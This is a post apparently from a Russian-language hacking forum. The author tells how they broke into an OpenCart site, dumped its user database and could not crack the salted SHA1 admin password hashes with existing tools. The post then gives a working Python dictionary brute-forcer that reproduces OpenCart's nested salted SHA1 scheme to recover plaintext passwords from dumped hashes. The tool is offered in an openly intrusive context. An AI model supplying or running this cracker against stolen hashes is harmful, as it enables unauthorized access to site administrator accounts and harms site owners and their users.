• XSS.stack #1 – первый литературный журнал от юзеров форума

OCBrute - Брутфорсим хэш-пароль от админки OpenCart CMS

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Предыстория
Была задача - взломать сайт на OpenCart. Добрался до бд сайта, вижу таблицу с данными (username, password) от юзеров, делаю дамп базы. А там, к моему нереальному разочарованию, я увидел пароли зашифрованные в SHA1. Не просто в SHA1, а в SHA1+SALT. Хотя бы соль для расшифровки была в этой же таблице, иначе шансы для расшифровки пароля равнялись бы нулю. Сначала, я не планировал придумывать велосипед, а искал уже готовые способы для расшифровки хеша SHA1+SALT. Пробывал и с HashCat, и с JohnTheRipper но, всё безрезультатно. Немножко покопав в интернете, я нашел алгоритм, по которому и шифруется пароль в CMS OpenCart. Скажу честно, всё было сделано умом. Раз паблик способов для расшифровки такого пароля или хотя бы брутфорсера для подобной работы нету, я решил написать свой брутфорсер на PHP. Данным языком я владею на базовом уровне, в отличии от python или bash, на которых обычно и пишется подобный софт, которые я почти не знаю. На это ушло где-то минут 30, но, оно того стоило. В результате у меня получилось что-то подобное.
Файл словаря passwords.lst меняете на свой, оставляя название.


Тоже самое на python:
Python:
# bruteforce hashes OpenCart

import hashlib

dic = open("rockyou.txt", "r")                                        # путь до словаря
master_hash = "41e06e8c17e3e7510bd87c004853079d55627002"              # хэш
salt = "grYUceLBq"                                                    # соль

yes_string = "YES :) ------ pass = "               
no_string = "No :| ------ "
master_hash_description = "Your hash: "
salt_description = "Your salt: "
slave_hash_description = "Result hash: "
password_candidat_description = " for password: "

for line in dic:                                                 #

    slave_hash = hashlib.sha1(salt+hashlib.sha1(salt+hashlib.sha1(line.rstrip()).hexdigest()).hexdigest()).hexdigest()

    if master_hash == slave_hash:
        print(master_hash_description + master_hash)
        print(salt_description + salt)
        print(slave_hash_description + slave_hash)
        print(yes_string + line)           
        break                                                        #
    else:
        print(master_hash_description + master_hash)
        print(salt_description + salt)
        print(no_string + slave_hash_description + slave_hash + password_candidat_description + line)
автор @larchik
 
Пожалуйста, обратите внимание, что пользователь заблокирован
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх